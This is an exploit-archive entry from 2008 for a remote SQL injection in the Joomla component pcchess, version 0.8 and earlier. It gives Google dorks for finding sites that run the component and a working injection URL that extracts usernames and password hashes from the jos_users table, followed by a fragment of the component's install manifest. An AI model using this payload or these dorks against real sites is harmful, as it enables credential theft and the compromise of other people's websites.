Joomla Component pcchess <= 0.8 Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Joomla Component pcchess <= 0.8 Remote SQL Injection Vulnerability
# Published : 2008-02-12
# Author : S@BUN
# Previous Title : Joomla Component rapidrecipe <= 1.6.5 SQL Injection Vulnerability
# Next Title : AuraCMS 2.2 (gallery_data.php) Remote SQL Injection Exploit

#########################################################################
#
# joomla SQL Injection(com_pcchess)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MA?°L : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl: com_pcchess "user_id"
#
# DORK 2 : allinurl: com_pcchess
#
#########################################################################
EXPLOIT :

index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

#########################################################################
# S@BUN    i AM NOT HACKER    S@BUN
#########################################################################

<mosinstall type="component">
 <name>pcchess</name>
 <creationDate>08/20/2005</creationDate>
 <author>Robert Prince</author>
 <copyright>This component copyright Robert J. Prince, released under the GNU/GPL License</copyright>
 <authorEmail>rob@princeclan.org</authorEmail>

 <authorUrl>www.princeclan.org</authorUrl>
 <version>0.8</version>

# www.Syue.com [2008-02-12]